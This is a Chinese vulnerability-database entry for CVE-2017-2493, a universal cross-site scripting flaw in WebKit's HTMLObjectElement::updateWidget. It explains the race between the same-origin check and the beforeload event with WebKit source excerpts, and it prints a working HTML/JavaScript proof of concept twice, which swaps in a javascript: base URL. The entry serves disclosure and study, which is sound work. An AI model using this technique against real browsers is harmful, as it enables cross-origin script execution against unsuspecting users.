WebKit: UXSS through HTMLObjectElement::updateWidget(CVE-2017-2493)

基本字段

漏洞编号:
SSV-93150
披露/发现时间:
2017-02-09
提交时间:
2017-05-26
漏洞等级:
漏洞类别:
通用跨站脚本
影响组件:
WebKit
漏洞作者:
lokihardt
提交者:
Knownsec
CVE-ID:
CVE-2017-2493
CNNVD-ID:
补充
CNVD-ID:
补充
ZoomEye Dork:
补充

来源

漏洞详情

贡献者 共获得  0KB

When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.

Here's some snippets of the logic.

void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
    ...
    String url = this->url(); 
    ...
    if (!allowedToLoadFrameURL(url))
        return;
    ...

    bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
    ...

    bool success = beforeLoadAllowedLoad && hasValidClassId();
    if (success)
        success = requestObject(url, serviceType, paramNames, paramValues);
    ...
}

bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
    URL completeURL = document().completeURL(url);
    if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
        return false;
    return document().frame()->isURLAllowed(completeURL);
}

bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
    if (m_pluginReplacement)
        return true;

    URL completedURL;
    if (!url.isEmpty())
        completedURL = document().completeURL(url);

    ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
    if (!replacement || !replacement->isEnabledBySettings(document().settings()))
        return false;

    LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());

    m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
    setDisplayState(PreparingPluginReplacement);
    return true;
}

The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.

What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.

Tested on Safari 10.0.3(12602.4.8).

PoC:

<html>
<head>
</head>
<body>
<script>

let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
    o.onload = null;

    o.onbeforeload = () => {
        o.onbeforeload = null;

        let b = document.head.appendChild(document.createElement('base'));
        b.href = 'javascript:///%0aalert(location);//';
    };
    o.data = 'xxxxx';
};

o.type = 'text/html';
o.data = 'https://abc.xyz/';

</script>
</body>
</html>
共 0  兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得   0KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<head>
</head>
<body>
<script>
let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
o.onload = null;
o.onbeforeload = () => {
o.onbeforeload = null;
let b = document.head.appendChild(document.createElement('base'));
b.href = 'javascript:///%0aalert(location);//';
};
o.data = 'xxxxx';
};
o.type = 'text/html';
o.data = 'https://abc.xyz/';
</script>
</body>
</html>
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

共 0 兑换

参考链接

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

人气 1548
评论前需绑定手机 现在绑定

全部评论 (1)

  • heige001
    这个点 其实可以根据之前的样本 很可能可以fuzz到的
    1F

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负